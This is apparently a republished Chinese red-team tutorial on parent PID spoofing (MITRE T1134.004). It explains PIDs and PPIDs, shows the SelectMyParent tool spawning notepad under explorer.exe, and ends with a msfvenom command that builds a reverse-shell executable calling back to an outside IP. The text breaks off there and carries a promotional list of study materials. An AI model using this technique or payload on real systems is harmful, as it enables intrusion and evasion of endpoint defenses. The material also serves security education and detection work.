T1134 红队技术-父进程欺骗

概述
父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术 。
该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用 。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处 。
MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)
MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用
子技术:T1134.004 :访问令牌操作:父 PID 欺骗
背景:
子进程监控是威胁狩猎中最常见的指标之一 。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁 。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报 。
父PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动 。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点 。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限 。
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
进程、PID和PPID
进程:在 Windows 中,应用程序由一个或多个进程组成 。简单来说,当前正在运行的程序的一部分称为进程 。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程 。该整数称为PID 。
PID:代表进程标识符 (PID),它是正在运行的进程的数字表示 。Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID 。
父进程:父进程是可以派生多个子进程的进程 。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程 。在代码中,父进程可以使用fork()系统调用来派生子进程 。
PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式 。任何包含子进程的进程都存在父子关系 。
方法一(使用C++程序进行PID欺骗)
Didier Stevens 最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法 。还发布了一个用C++编写的利用程序(SelectMyParent) 。代码可以在这里下载:***/web/20210225035252/***/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE 。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行 。
在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行
T1134 红队技术-父进程欺骗

文章插图
因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程 。
E:\>SelectMyParent.exe notepad 1624
T1134 红队技术-父进程欺骗

文章插图
T1134 红队技术-父进程欺骗

文章插图
可以看到在PID 2836启动了notepad.exe
同样,我们也可以运行自己的EXE 。让我们先用msfvenom创建一个可以反弹shell的exe
# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

推荐阅读